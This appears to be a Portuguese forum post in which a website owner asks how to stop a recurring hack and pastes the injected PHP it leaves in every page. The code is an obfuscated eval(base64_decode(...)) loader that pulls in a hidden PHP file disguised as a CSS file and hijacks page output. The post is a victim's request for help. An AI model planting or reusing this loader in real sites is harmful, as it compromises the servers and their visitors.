Problema com invasão

Meu site está sendo constantemente invadido. Ao me invadir o cara coloca um código malicioso em todas as páginas php do meu servidor.

o código que ele coloca é esse:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2R1bmdlb25tL3B1YmxpY19odG1sL3BvcnRhbC93cC1pbmNsdWRlcy9qcy90aW55bWNlL3BsdWdpbnMvaW5saW5lcG9wdXBzL3NraW5zL2NsZWFybG9va3MyL2ltZy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
Esse código é codificado depois que ele insere nas minhas páginas por isso está assim.. se alguém quiser analisar posso postar o código descodificado..

Não importa quantas vezes eu tire esse código das páginas, ele sempre volta.

Será que não tem alguma configuração no php.ini que eu possa fazer para impedir isso?

Alguém tem alguma idéia do que eu posso fazer para impedir escrita externa nos arquivos do servidor?